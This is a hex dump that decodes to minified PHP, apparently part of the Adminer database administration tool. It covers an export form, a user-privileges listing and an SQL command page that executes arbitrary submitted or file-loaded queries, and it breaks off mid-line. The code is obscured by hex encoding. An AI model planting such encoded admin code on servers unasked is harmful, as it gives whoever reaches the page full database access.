5F 73 65 6C 65 63 74 28 27 74 61 62 6C 65 5F 73 74 79 6C 65 27 2C 24 42
66 2C 24 4C 5B 22 74 61 62 6C 65 5F 73 74 79 6C 65 22 5D 29 2E 63 68 65
63 6B 62 6F 78 28 22 61 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 22 2C 31
2C 24 4C 5B 22 61 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 22 5D 2C 27 41
75 74 6F 20 49 6E 63 72 65 6D 65 6E 74 27 29 2E 28 73 75 70 70 6F 72 74
28 22 74 72 69 67 67 65 72 22 29 3F 63 68 65 63 6B 62 6F 78 28 22 74 72
69 67 67 65 72 73 22 2C 31 2C 24 4C 5B 22 74 72 69 67 67 65 72 73 22 5D
2C 27 54 72 69 67 67 65 72 73 27 29 3A 22 22 29 2C 22 3C 74 72 3E 3C 74
68 3E 22 2E 27 44 61 74 61 27 2E 22 3C 74 64 3E 22 2E 68 74 6D 6C 5F 73
65 6C 65 63 74 28 27 64 61 74 61 5F 73 74 79 6C 65 27 2C 24 6A 62 2C 24
4C 5B 22 64 61 74 61 5F 73 74 79 6C 65 22 5D 29 2C 27 3C 2F 74 61 62 6C
65 3E 0A 3C 70 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 22 73 75 62 6D 69
74 22 20 76 61 6C 75 65 3D 22 45 78 70 6F 72 74 22 3E 0A 3C 69 6E 70 75
74 20 74 79 70 65 3D 22 68 69 64 64 65 6E 22 20 6E 61 6D 65 3D 22 74 6F
6B 65 6E 22 20 76 61 6C 75 65 3D 22 27 2C 24 54 2C 27 22 3E 0A 0A 3C 74
61 62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 22 30 22 3E 0A 27 3B
24 76 65 3D 61 72 72 61 79 28 29 3B 69 66 28 44 42 21 3D 22 22 29 7B 24
4A 61 3D 28 24 61 21 3D 22 22 3F 22 22 3A 22 20 63 68 65 63 6B 65 64 22
29 3B 65 63 68 6F 22 3C 74 68 65 61 64 3E 3C 74 72 3E 22 2C 22 3C 74 68
20 73 74 79 6C 65 3D 27 74 65 78 74 2D 61 6C 69 67 6E 3A 20 6C 65 66 74
3B 27 3E 3C 6C 61 62 65 6C 20 63 6C 61 73 73 3D 27 62 6C 6F 63 6B 27 3E
3C 69 6E 70 75 74 20 74 79 70 65 3D 27 63 68 65 63 6B 62 6F 78 27 20 69
64 3D 27 63 68 65 63 6B 2D 74 61 62 6C 65 73 27 24 4A 61 20 6F 6E 63 6C
69 63 6B 3D 27 66 6F 72 6D 43 68 65 63 6B 28 74 68 69 73 2C 20 2F 5E 74
61 62 6C 65 73 5C 5C 5B 2F 29 3B 27 3E 22 2E 27 54 61 62 6C 65 73 27 2E
22 3C 2F 6C 61 62 65 6C 3E 22 2C 22 3C 74 68 20 73 74 79 6C 65 3D 27 74
65 78 74 2D 61 6C 69 67 6E 3A 20 72 69 67 68 74 3B 27 3E 3C 6C 61 62 65
6C 20 63 6C 61 73 73 3D 27 62 6C 6F 63 6B 27 3E 22 2E 27 44 61 74 61 27
2E 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 63 68 65 63 6B 62 6F 78 27
20 69 64 3D 27 63 68 65 63 6B 2D 64 61 74 61 27 24 4A 61 20 6F 6E 63 6C
69 63 6B 3D 27 66 6F 72 6D 43 68 65 63 6B 28 74 68 69 73 2C 20 2F 5E 64
61 74 61 5C 5C 5B 2F 29 3B 27 3E 3C 2F 6C 61 62 65 6C 3E 22 2C 22 3C 2F
74 68 65 61 64 3E 5C 6E 22 3B 24 73 67 3D 22 22 3B 24 43 66 3D 74 61 62
6C 65 73 5F 6C 69 73 74 28 29 3B 66 6F 72 65 61 63 68 28 24 43 66 0A 61
73 24 45 3D 3E 24 55 29 7B 24 75 65 3D 65 72 65 67 5F 72 65 70 6C 61 63
65 28 22 5F 2E 2A 22 2C 22 22 2C 24 45 29 3B 24 4A 61 3D 28 24 61 3D 3D
22 22 7C 7C 24 61 3D 3D 28 73 75 62 73 74 72 28 24 61 2C 2D 31 29 3D 3D
22 25 22 3F 22 24 75 65 25 22 3A 24 45 29 29 3B 24 78 65 3D 22 3C 74 72
3E 3C 74 64 3E 22 2E 63 68 65 63 6B 62 6F 78 28 22 74 61 62 6C 65 73 5B
5D 22 2C 24 45 2C 24 4A 61 2C 24 45 2C 22 63 68 65 63 6B 62 6F 78 43 6C
69 63 6B 28 65 76 65 6E 74 2C 20 74 68 69 73 29 3B 20 66 6F 72 6D 55 6E
63 68 65 63 6B 28 27 63 68 65 63 6B 2D 74 61 62 6C 65 73 27 29 3B 22 2C
22 62 6C 6F 63 6B 22 29 3B 69 66 28 24 55 21 3D 3D 6E 75 6C 6C 26 26 21
65 72 65 67 69 28 22 74 61 62 6C 65 22 2C 24 55 29 29 24 73 67 2E 3D 22
24 78 65 5C 6E 22 3B 65 6C 73 65 0A 65 63 68 6F 22 24 78 65 3C 74 64 20
61 6C 69 67 6E 3D 27 72 69 67 68 74 27 3E 3C 6C 61 62 65 6C 20 63 6C 61
73 73 3D 27 62 6C 6F 63 6B 27 3E 3C 73 70 61 6E 20 69 64 3D 27 52 6F 77
73 2D 22 2E 68 28 24 45 29 2E 22 27 3E 3C 2F 73 70 61 6E 3E 22 2E 63 68
65 63 6B 62 6F 78 28 22 64 61 74 61 5B 5D 22 2C 24 45 2C 24 4A 61 2C 22
22 2C 22 63 68 65 63 6B 62 6F 78 43 6C 69 63 6B 28 65 76 65 6E 74 2C 20
74 68 69 73 29 3B 20 66 6F 72 6D 55 6E 63 68 65 63 6B 28 27 63 68 65 63
6B 2D 64 61 74 61 27 29 3B 22 29 2E 22 3C 2F 6C 61 62 65 6C 3E 5C 6E 22
3B 24 76 65 5B 24 75 65 5D 2B 2B 3B 7D 65 63 68 6F 24 73 67 3B 69 66 28
24 43 66 29 65 63 68 6F 22 3C 73 63 72 69 70 74 20 74 79 70 65 3D 27 74
65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 27 3E 61 6A 61 78 53 65 74 48
74 6D 6C 28 27 22 2E 6A 73 5F 65 73 63 61 70 65 28 4D 45 29 2E 22 73 63
72 69 70 74 3D 64 62 27 29 3B 3C 2F 73 63 72 69 70 74 3E 5C 6E 22 3B 7D
65 6C 73 65 7B 65 63 68 6F 22 3C 74 68 65 61 64 3E 3C 74 72 3E 3C 74 68
20 73 74 79 6C 65 3D 27 74 65 78 74 2D 61 6C 69 67 6E 3A 20 6C 65 66 74
3B 27 3E 3C 6C 61 62 65 6C 20 63 6C 61 73 73 3D 27 62 6C 6F 63 6B 27 3E
3C 69 6E 70 75 74 20 74 79 70 65 3D 27 63 68 65 63 6B 62 6F 78 27 20 69
64 3D 27 63 68 65 63 6B 2D 64 61 74 61 62 61 73 65 73 27 22 2E 28 24 61
3D 3D 22 22 3F 22 20 63 68 65 63 6B 65 64 22 3A 22 22 29 2E 22 20 6F 6E
63 6C 69 63 6B 3D 27 66 6F 72 6D 43 68 65 63 6B 28 74 68 69 73 2C 20 2F
5E 64 61 74 61 62 61 73 65 73 5C 5C 5B 2F 29 3B 27 3E 22 2E 27 44 61 74
61 62 61 73 65 27 2E 22 3C 2F 6C 61 62 65 6C 3E 3C 2F 74 68 65 61 64 3E
5C 6E 22 3B 24 6A 3D 24 62 2D 3E 64 61 74 61 62 61 73 65 73 28 29 3B 69
66 28 24 6A 29 7B 66 6F 72 65 61 63 68 28 24 6A 0A 61 73 24 6B 29 7B 69
66 28 21 69 6E 66 6F 72 6D 61 74 69 6F 6E 5F 73 63 68 65 6D 61 28 24 6B
29 29 7B 24 75 65 3D 65 72 65 67 5F 72 65 70 6C 61 63 65 28 22 5F 2E 2A
22 2C 22 22 2C 24 6B 29 3B 65 63 68 6F 22 3C 74 72 3E 3C 74 64 3E 22 2E
63 68 65 63 6B 62 6F 78 28 22 64 61 74 61 62 61 73 65 73 5B 5D 22 2C 24
6B 2C 24 61 3D 3D 22 22 7C 7C 24 61 3D 3D 22 24 75 65 25 22 2C 24 6B 2C
22 66 6F 72 6D 55 6E 63 68 65 63 6B 28 27 63 68 65 63 6B 2D 64 61 74 61
62 61 73 65 73 27 29 3B 22 2C 22 62 6C 6F 63 6B 22 29 2E 22 5C 6E 22 3B
24 76 65 5B 24 75 65 5D 2B 2B 3B 7D 7D 7D 65 6C 73 65 0A 65 63 68 6F 22
3C 74 72 3E 3C 74 64 3E 3C 74 65 78 74 61 72 65 61 20 6E 61 6D 65 3D 27
64 61 74 61 62 61 73 65 73 27 20 72 6F 77 73 3D 27 31 30 27 20 63 6F 6C
73 3D 27 32 30 27 3E 3C 2F 74 65 78 74 61 72 65 61 3E 22 3B 7D 65 63 68
6F 27 3C 2F 74 61 62 6C 65 3E 0A 3C 2F 66 6F 72 6D 3E 0A 27 3B 24 6B 63
3D 74 72 75 65 3B 66 6F 72 65 61 63 68 28 24 76 65 0A 61 73 24 79 3D 3E
24 58 29 7B 69 66 28 24 79 21 3D 22 22 26 26 24 58 3E 31 29 7B 65 63 68
6F 28 24 6B 63 3F 22 3C 70 3E 22 3A 22 20 22 29 2E 22 3C 61 20 68 72 65
66 3D 27 22 2E 68 28 4D 45 29 2E 22 64 75 6D 70 3D 22 2E 75 72 6C 65 6E
63 6F 64 65 28 22 24 79 25 22 29 2E 22 27 3E 22 2E 68 28 24 79 29 2E 22
3C 2F 61 3E 22 3B 24 6B 63 3D 66 61 6C 73 65 3B 7D 7D 7D 65 6C 73 65 69
66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 70 72 69 76 69 6C 65 67 65
73 22 5D 29 29 7B 70 61 67 65 5F 68 65 61 64 65 72 28 27 50 72 69 76 69
6C 65 67 65 73 27 29 3B 24 4A 3D 24 67 2D 3E 71 75 65 72 79 28 22 53 45
4C 45 43 54 20 55 73 65 72 2C 20 48 6F 73 74 20 46 52 4F 4D 20 6D 79 73
71 6C 2E 22 2E 28 44 42 3D 3D 22 22 3F 22 75 73 65 72 22 3A 22 64 62 20
57 48 45 52 45 20 22 2E 71 28 44 42 29 2E 22 20 4C 49 4B 45 20 44 62 22
29 2E 22 20 4F 52 44 45 52 20 42 59 20 48 6F 73 74 2C 20 55 73 65 72 22
29 3B 24 72 3D 24 4A 3B 69 66 28 21 24 4A 29 24 4A 3D 24 67 2D 3E 71 75
65 72 79 28 22 53 45 4C 45 43 54 20 53 55 42 53 54 52 49 4E 47 5F 49 4E
44 45 58 28 43 55 52 52 45 4E 54 5F 55 53 45 52 2C 20 27 40 27 2C 20 31
29 20 41 53 20 55 73 65 72 2C 20 53 55 42 53 54 52 49 4E 47 5F 49 4E 44
45 58 28 43 55 52 52 45 4E 54 5F 55 53 45 52 2C 20 27 40 27 2C 20 2D 31
29 20 41 53 20 48 6F 73 74 22 29 3B 65 63 68 6F 22 3C 66 6F 72 6D 20 61
63 74 69 6F 6E 3D 27 27 3E 3C 70 3E 5C 6E 22 3B 68 69 64 64 65 6E 5F 66
69 65 6C 64 73 5F 67 65 74 28 29 3B 65 63 68 6F 22 3C 69 6E 70 75 74 20
74 79 70 65 3D 27 68 69 64 64 65 6E 27 20 6E 61 6D 65 3D 27 64 62 27 20
76 61 6C 75 65 3D 27 22 2E 68 28 44 42 29 2E 22 27 3E 5C 6E 22 2C 28 24
72 3F 22 22 3A 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 68 69 64 64 65
6E 27 20 6E 61 6D 65 3D 27 67 72 61 6E 74 27 20 76 61 6C 75 65 3D 27 27
3E 5C 6E 22 29 2C 22 3C 74 61 62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E
67 3D 27 30 27 3E 5C 6E 22 2C 22 3C 74 68 65 61 64 3E 3C 74 72 3E 3C 74
68 3E 22 2E 27 55 73 65 72 6E 61 6D 65 27 2E 22 3C 74 68 3E 22 2E 27 53
65 72 76 65 72 27 2E 22 3C 74 68 3E 26 6E 62 73 70 3B 3C 2F 74 68 65 61
64 3E 5C 6E 22 3B 77 68 69 6C 65 28 24 4C 3D 24 4A 2D 3E 66 65 74 63 68
5F 61 73 73 6F 63 28 29 29 65 63 68 6F 27 3C 74 72 27 2E 6F 64 64 28 29
2E 27 3E 3C 74 64 3E 27 2E 68 28 24 4C 5B 22 55 73 65 72 22 5D 29 2E 22
3C 74 64 3E 22 2E 68 28 24 4C 5B 22 48 6F 73 74 22 5D 29 2E 27 3C 74 64
3E 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 2E 27 75 73 65 72 3D 27
2E 75 72 6C 65 6E 63 6F 64 65 28 24 4C 5B 22 55 73 65 72 22 5D 29 2E 27
26 68 6F 73 74 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24 4C 5B 22 48 6F
73 74 22 5D 29 29 2E 27 22 3E 27 2E 27 45 64 69 74 27 2E 22 3C 2F 61 3E
5C 6E 22 3B 69 66 28 21 24 72 7C 7C 44 42 21 3D 22 22 29 65 63 68 6F 22
3C 74 72 22 2E 6F 64 64 28 29 2E 22 3E 3C 74 64 3E 3C 69 6E 70 75 74 20
6E 61 6D 65 3D 27 75 73 65 72 27 20 61 75 74 6F 63 61 70 69 74 61 6C 69
7A 65 3D 27 6F 66 66 27 3E 3C 74 64 3E 3C 69 6E 70 75 74 20 6E 61 6D 65
3D 27 68 6F 73 74 27 20 76 61 6C 75 65 3D 27 6C 6F 63 61 6C 68 6F 73 74
27 20 61 75 74 6F 63 61 70 69 74 61 6C 69 7A 65 3D 27 6F 66 66 27 3E 3C
74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 73 75 62 6D 69 74 27 20
76 61 6C 75 65 3D 27 22 2E 27 45 64 69 74 27 2E 22 27 3E 5C 6E 22 3B 65
63 68 6F 22 3C 2F 74 61 62 6C 65 3E 5C 6E 22 2C 22 3C 2F 66 6F 72 6D 3E
5C 6E 22 2C 27 3C 70 3E 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 29
2E 27 75 73 65 72 3D 22 3E 27 2E 27 43 72 65 61 74 65 20 75 73 65 72 27
2E 22 3C 2F 61 3E 22 3B 7D 65 6C 73 65 69 66 28 69 73 73 65 74 28 24 5F
47 45 54 5B 22 73 71 6C 22 5D 29 29 7B 69 66 28 21 24 6C 26 26 24 5F 50
4F 53 54 5B 22 65 78 70 6F 72 74 22 5D 29 7B 64 75 6D 70 5F 68 65 61 64
65 72 73 28 22 73 71 6C 22 29 3B 24 62 2D 3E 64 75 6D 70 54 61 62 6C 65
28 22 22 2C 22 22 29 3B 24 62 2D 3E 64 75 6D 70 44 61 74 61 28 22 22 2C
22 74 61 62 6C 65 22 2C 24 5F 50 4F 53 54 5B 22 71 75 65 72 79 22 5D 29
3B 65 78 69 74 3B 7D 72 65 73 74 61 72 74 5F 73 65 73 73 69 6F 6E 28 29
3B 24 43 63 3D 26 67 65 74 5F 73 65 73 73 69 6F 6E 28 22 71 75 65 72 69
65 73 22 29 3B 24 42 63 3D 26 24 43 63 5B 44 42 5D 3B 69 66 28 21 24 6C
26 26 24 5F 50 4F 53 54 5B 22 63 6C 65 61 72 22 5D 29 7B 24 42 63 3D 61
72 72 61 79 28 29 3B 72 65 64 69 72 65 63 74 28 72 65 6D 6F 76 65 5F 66
72 6F 6D 5F 75 72 69 28 22 68 69 73 74 6F 72 79 22 29 29 3B 7D 70 61 67
65 5F 68 65 61 64 65 72 28 27 53 51 4C 20 63 6F 6D 6D 61 6E 64 27 2C 24
6C 29 3B 69 66 28 21 24 6C 26 26 24 5F 50 4F 53 54 29 7B 24 72 63 3D 66
61 6C 73 65 3B 24 49 3D 24 5F 50 4F 53 54 5B 22 71 75 65 72 79 22 5D 3B
69 66 28 24 5F 50 4F 53 54 5B 22 77 65 62 66 69 6C 65 22 5D 29 7B 24 72
63 3D 40 66 6F 70 65 6E 28 28 66 69 6C 65 5F 65 78 69 73 74 73 28 22 61
64 6D 69 6E 65 72 2E 73 71 6C 22 29 3F 22 61 64 6D 69 6E 65 72 2E 73 71
6C 22 3A 22 63 6F 6D 70 72 65 73 73 2E 7A 6C 69 62 3A 2F 2F 61 64 6D 69
6E 65 72 2E 73 71 6C 2E 67 7A 22 29 2C 22 72 62 22 29 3B 24 49 3D 28 24
72 63 3F 66 72 65 61 64 28 24 72 63 2C 31 65 36 29 3A 66 61 6C 73 65 29
3B 7D 65 6C 73 65 69 66 28 24 5F 46 49 4C 45 53 26 26 24 5F 46 49 4C 45
53 5B 22 73 71 6C 5F 66 69 6C 65 22 5D 5B 22 65 72 72 6F 72 22 5D 5B 30
5D 21 3D 34 29 24 49 3D 67 65 74 5F 66 69 6C 65 28 22 73 71 6C 5F 66 69
6C 65 22 2C 74 72 75 65 29 3B 69 66 28 69 73 5F 73 74 72 69 6E 67 28 24
49 29 29 7B 69 66 28 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 27
6D 65 6D 6F 72 79 5F 67 65 74 5F 75 73 61 67 65 27 29 29 40 69 6E 69 5F
73 65 74 28 22 6D 65 6D 6F 72 79 5F 6C 69 6D 69 74 22 2C 6D 61 78 28 69
6E 69 5F 62 79 74 65 73 28 22 6D 65 6D 6F 72 79 5F 6C 69 6D 69 74 22 29
2C 32 2A 73 74 72 6C 65 6E 28 24 49 29 2B 6D 65 6D 6F 72 79 5F 67 65 74
5F 75 73 61 67 65 28 29 2B 38 65 36 29 29 3B 69 66 28 24 49 21 3D 22 22
26 26 73 74 72 6C 65 6E 28 24 49 29 3C 31 65 36 29 7B 24 48 3D 24 49 2E
28 65 72 65 67 28 22 3B 5B 20 5C 74 5C 72 5C 6E 5D 2A 5C 24 22 2C 24 49
29 3F 22 22 3A 22 3B 22 29 3B 69 66 28 21 24 42 63 7C 7C 72 65 73 65 74
28 65 6E 64 28 24 42 63 29 29 21 3D 24 48 29 7B 72 65 73 74 61 72 74 5F
73 65 73 73 69 6F 6E 28 29 3B 24 42 63 5B 5D 3D 61 72 72 61 79 28 24 48
2C 74 69 6D 65 28 29 29 3B 73 65 74 5F 73 65 73 73 69 6F 6E 28 22 71 75
65 72 69 65 73 22 2C 24 43 63 29 3B 73 74 6F 70 5F 73 65 73 73 69 6F 6E
28 29 3B 7D 7D 24 6B 66 3D 22 28 3F 3A 5C 5C 73 7C 2F 5C 5C 2A 2E 2A 5C
5C 2A 2F 7C 28 3F 3A 23 7C 2D 2D 20 29 5B 5E 5C 6E 5D 2A 5C 6E 7C 2D 2D
5C 6E 29 22 3B 24 71 62 3D 22 3B 22 3B 24 48 64 3D 30 3B 24 4C 62 3D 74
72 75 65 3B 24 68 3D 63 6F 6E 6E 65 63 74 28 29 3B 69 66 28 69 73 5F 6F
62 6A 65 63 74 28 24 68 29 26 26 44 42 21 3D 22 22 29 24 68 2D 3E 73 65
6C 65 63 74 5F 64 62 28 44 42 29 3B 24 55 61 3D 30 3B 24 52 62 3D 61 72
72 61 79 28 29 3B 24 68 64 3D 30 3B 24 68 65 3D 27 5B 5C 27 22 27 2E 28
24 78 3D 3D 22 73 71 6C 22 3F 27 60 23 27 3A 28 24 78 3D 3D 22 73 71 6C
69 74 65 22 3F 27 60 5B 27 3A 28 24 78 3D 3D 22 6D 73 73 71 6C 22 3F 27
5B 27 3A 27 27 29 29 29 2E 27 5D 7C 2F 5C 5C 2A 7C 2D 2D 20 7C 24 27 2E
28 24 78 3D 3D 22 70 67 73 71 6C 22 3F 27 7C 5C 5C 24 5B 5E 24 5D 2A 5C
5C 24 27 3A 27 27 29 3B 24 54 66 3D 6D 69 63 72 6F 74 69 6D 65 28 29 3B
70 61 72 73 65 5F 73 74 72 28 24 5F 43 4F 4F 4B 49 45 5B 22 61 64 6D 69
6E 65 72 5F 65 78 70 6F 72 74 22 5D 2C 24 6B 61 29 3B 24 44 62 3D 24 62
2D 3E 64 75 6D 70 46 6F 72 6D 61 74 28 29 3B 75 6E 73 65 74 28 24 44 62
5B 22 73 71 6C 22 5D 29 3B 77 68 69 6C 65 28 24 49 21 3D 22 22 29 7B 69
66 28 21 24 48 64 26 26 70 72 65 67 5F 6D 61 74 63 68 28 22 7E 5E 24 6B
66 2A 44 45 4C 49 4D 49 54 45 52 5C 5C 73 2B 28 5C 5C 53 2B 29 7E 69 22
2C 24 49 2C 24 42 29 29 7B 24 71 62 3D 24 42 5B 31 5D 3B 24 49 3D 73 75
62 73 74 72 28 24 49 2C 73 74 72 6C 65 6E 28 24 42 5B 30 5D 29 29 3B 7D
65 6C 73 65 7B 70 72 65 67 5F 6D 61 74 63 68 28 27 28 27 2E 70 72 65 67
5F 71 75 6F 74 65 28 24 71 62 29 2E 22 5C 5C 73 2A 7C 24 68 65 29 22 2C
24 49 2C 24 42 2C 50 52 45 47 5F 4F 46 46 53 45 54 5F 43 41 50 54 55 52
45 2C 24 48 64 29 3B 6C 69 73 74 28 24 70 63 2C 24 71 65 29 3D 24 42 5B
30 5D 3B 69 66 28 21 24 70 63 26 26 24 72 63 26 26 21 66 65 6F 66 28 24
72 63 29 29 24 49 2E 3D 66 72 65 61 64 28 24 72 63 2C 31 65 35 29 3B 65
6C 73 65 7B 69 66 28 21 24 70 63 26 26 72 74 72 69 6D 28 24 49 29 3D 3D
22 22 29 62 72 65 61 6B 3B 24 48 64 3D 24 71 65 2B 73 74 72 6C 65 6E 28
24 70 63 29 3B 69 66 28 24 70 63 26 26 72 74 72 69 6D 28 24 70 63 29 21
3D 24 71 62 29 7B 77 68 69 6C 65 28 70 72 65 67 5F 6D 61 74 63 68 28 27
28 27 2E 28 24 70 63 3D 3D 27 2F 2A 27 3F 27 5C 5C 2A 2F 27 3A 28 24 70
63 3D 3D 27 5B 27 3F 27 5D 27 3A 28 65 72 65 67 28 27 5E 2D 2D 20 7C 5E
23 27 2C 24 70 63 29 3F 22 5C 6E 22 3A 70 72 65 67 5F 71 75 6F 74 65 28
24 70 63 29 2E 22 7C 5C 5C 5C 5C 2E 22 29 29 29 2E 27 7C 24 29 73 27 2C
24 49 2C 24 42 2C 50 52 45 47 5F 4F 46 46 53 45 54 5F 43 41 50 54 55 52
45 2C 24 48 64 29 29 7B 24 59 65 3D 24 42 5B 30 5D 5B 30 5D 3B 69 66 28
21 24 59 65 26 26 24 72 63 26 26 21 66 65 6F 66 28 24 72 63 29 29 24 49
2E 3D 66 72 65 61 64 28 24 72 63 2C 31 65 35 29 3B 65 6C 73 65 7B 24 48
64 3D 24 42 5B 30 5D 5B 31 5D 2B 73 74 72 6C 65 6E 28 24 59 65 29 3B 69
66 28 24 59 65 5B 30 5D 21 3D 22 5C 5C 22 29 62 72 65 61 6B 3B 7D 7D 7D
65 6C 73 65 7B 24 4C 62 3D 66 61 6C 73 65 3B 24 48 3D 73 75 62 73 74 72
28 24 49 2C 30 2C 24 71 65 29 3B 24 55 61 2B 2B 3B 24 78 65 3D 22 3C 70
72 65 20 69 64 3D 27 73 71 6C 2D 24 55 61 27 3E 3C 63 6F 64 65 20 63 6C
61 73 73 3D 27 6A 75 73 68 2D 24 78 27 3E 22 2E 73 68 6F 72 74 65 6E 5F
75 74 66 38 28 74 72 69 6D 28 24 48 29 2C 31 30 30 30 29 2E 22 3C 2F 63
6F 64 65 3E 3C 2F 70 72 65 3E 5C 6E 22 3B 69 66 28 21 24 5F 50 4F 53 54
5B 22 6F 6E 6C 79 5F 65 72 72 6F 72 73 22 5D 29 7B 65 63 68 6F 24 78 65
3B 6F 62 5F 66 6C 75 73 68 28 29 3B 66 6C 75 73 68 28 29 3B 7D 24 6D 66
3D 6D 69 63 72 6F 74 69 6D 65 28 29 3B 69 66 28 24 67 2D 3E 6D 75 6C 74
69 5F 71 75 65 72 79 28 24 48 29 26 26 69 73 5F 6F 62 6A 65 63 74 28 24
68 29 26 26 70 72 65 67 5F 6D 61 74 63 68 28 22 7E 5E 24 6B 66 2A 55 53
45 5C 5C 62 7E 69 73 55 22 2C 24 48 29 29 24 68 2D 3E 71 75 65 72 79 28
24 48 29 3B 64 6F 7B 24 4A 3D 24 67 2D 3E 73 74 6F 72 65 5F 72 65 73 75
6C 74 28 29 3B 24 4D 62 3D 6D 69 63 72 6F 74 69 6D 65 28 29 3B 24 4B 66
3D 22 20 3C 73 70 61 6E 20 63 6C 61 73 73 3D 27 74 69 6D 65 27 3E 28 22
2E 66 6F 72 6D 61 74 5F 74 69 6D 65 28 24 6D 66 2C 24 4D 62 29 2E 22 29
3C 2F 73 70 61 6E 3E 22 2E 28 73 74 72 6C 65 6E 28 24 48 29 3C 31 30 30
30 3F 22 20 3C 61 20 68 72 65 66 3D 27 22 2E 68 28 4D 45 29 2E 22 73 71
6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 74 72 69 6D 28 24 48 29 29 2E
22 27 3E 22 2E 27 45 64 69 74 27 2E 22 3C 2F 61 3E 22 3A 22 22 29 3B 69
66 28 24 67 2D 3E 65 72 72 6F 72 29 7B 65 63 68 6F 28 24 5F 50 4F 53 54
5B 22 6F 6E 6C 79 5F 65 72 72 6F 72 73 22 5D 3F 24 78 65 3A 22 22 29 2C
22 3C 70 20 63 6C 61 73 73 3D 27 65 72 72 6F 72 27 3E 22 2E 27 45 72 72
6F 72 20 69 6E 20 71 75 65 72 79 27 2E 28 24 67 2D 3E 65 72 72 6E 6F 3F
22 20 28 24 67 2D 3E 65 72 72 6E 6F 29 22 3A 22 22 29 2E 22 3A 20 22 2E
65 72 72 6F 72 28 29 2E 22 5C 6E 22 3B 24 52 62 5B 5D 3D 22 20 3C 61 20
68 72 65 66 3D 27 23 73 71 6C 2D 24 55 61 27 3E 24 55 61 3C 2F 61 3E 22
3B 69 66 28 24 5F 50 4F 53 54 5B 22 65 72 72 6F 72 5F 73 74 6F 70 73 22
5D 29 62 72 65 61 6B 0A 32 3B 7D 65 6C 73 65 69 66 28 69 73 5F 6F 62 6A
65 63 74 28 24 4A 29 29 7B 24 59 64 3D 73 65 6C 65 63 74 28 24 4A 2C 24
68 29 3B 69 66 28 21 24 5F 50 4F 53 54 5B 22 6F 6E 6C 79 5F 65 72 72 6F
72 73 22 5D 29 7B 65 63 68 6F 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D
27 27 20 6D 65 74 68 6F 64 3D 27 70 6F 73 74 27 3E 5C 6E 22 2C 22 3C 70
3E 22 2E 28 24 4A 2D 3E 6E 75 6D 5F 72 6F 77 73 3F 6C 61 6E 67 28 61 72
72 61 79 28 27 25 64 20 72 6F 77 27 2C 27 25 64 20 72 6F 77 73 27 29 2C
24 4A 2D 3E 6E 75 6D 5F 72 6F 77 73 29 3A 22 22 29 2E 24 4B 66 3B 24 74
3D 22 65 78 70 6F 72 74 2D 24 55 61 22 3B 24 61 63 3D 22 2C 20 3C 61 20
68 72 65 66 3D 27 23 24 74 27 20 6F 6E 63 6C 69 63 6B 3D 5C 22 72 65 74
75 72 6E 20 21 74 6F 67 67 6C 65 28 27 24 74 27 29 3B 5C 22 3E 22 2E 27
45 78 70 6F 72 74 27 2E 22 3C 2F 61 3E 3C 73 70 61 6E 20 69 64 3D 27 24
74 27 20 63 6C 61 73 73 3D 27 68 69 64 64 65 6E 27 3E 3A 20 22 2E 68 74
6D 6C 5F 73 65 6C 65 63 74 28 22 6F 75 74 70 75 74 22 2C 24 62 2D 3E 64
75 6D 70 4F 75 74 70 75 74 28 29 2C 24 6B 61 5B 22 6F 75 74 70 75 74 22
5D 29 2E 22 20 22 2E 68 74 6D 6C 5F 73 65 6C 65 63 74 28 22 66 6F 72 6D
61 74 22 2C 24 44 62 2C 24 6B 61 5B 22 66 6F 72 6D 61 74 22 5D 29 2E 22
3C 69 6E 70 75 74 20 74 79 70 65 3D 27 68 69 64 64 65 6E 27 20 6E 61 6D
65 3D 27 71 75 65 72 79 27 20 76 61 6C 75 65 3D 27 22 2E 68 28 24 48 29
2E 22 27 3E 22 2E 22 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 73 75 62
6D 69 74 27 20 6E 61 6D 65 3D 27 65 78 70 6F 72 74 27 20 76 61 6C 75 65
3D 27 22 2E 27 45 78 70 6F 72 74 27 2E 22 27 3E 3C 69 6E 70 75 74 20 74
79 70 65 3D 27 68 69 64 64 65 6E 27 20 6E 61 6D 65 3D 27 74 6F 6B 65 6E
27 20 76 61 6C 75 65 3D 27 24 54 27 3E 3C 2F 73 70 61 6E 3E 5C 6E 22 3B
69 66 28 24 68 26 26 70 72 65 67 5F 6D 61 74 63 68 28 22 7E 5E 28 24 6B
66 7C 5C 5C 28 29 2A 53 45 4C 45 43 54 5C 5C 62 7E 69 73 55 22 2C 24 48
29 26 26 28 24 5A 62 3D 65 78 70 6C 61 69 6E 28 24 68 2C 24 48 29 29 29
7B 24 74 3D 22 65 78 70 6C 61 69 6E 2D 24 55 61 22 3B 65 63 68 6F 22 2C
20 3C 61 20 68 72 65 66 3D 27 23 24 74 27 20 6F 6E 63 6C 69 63 6B 3D 5C
22 72 65 74 75 72 6E 20 21 74 6F 67 67 6C 65 28 27 24 74 27 29 3B 5C 22
3E 45 58 50 4C 41 49 4E 3C 2F 61 3E 24 61 63 22 2C 22 3C 64 69 76 20 69
64 3D 27 24 74 27 20 63 6C 61 73 73 3D 27 68 69 64 64 65 6E 27 3E 5C 6E
22 3B 73 65 6C 65 63 74 28 24 5A 62 2C 24 68 2C 28 24 78 3D 3D 22 73 71
6C 22 3F 22 68 74 74 70 3A 2F 2F 64 65 76 2E 6D 79 73 71 6C 2E 63 6F 6D
2F 64 6F 63 2F 72 65 66 6D 61 6E 2F 22 2E 73 75 62 73 74 72 28 24 67 2D
3E 73 65 72 76 65 72 5F 69 6E 66 6F 2C 30 2C 33 29 2E 22 2F 65 6E 2F 65
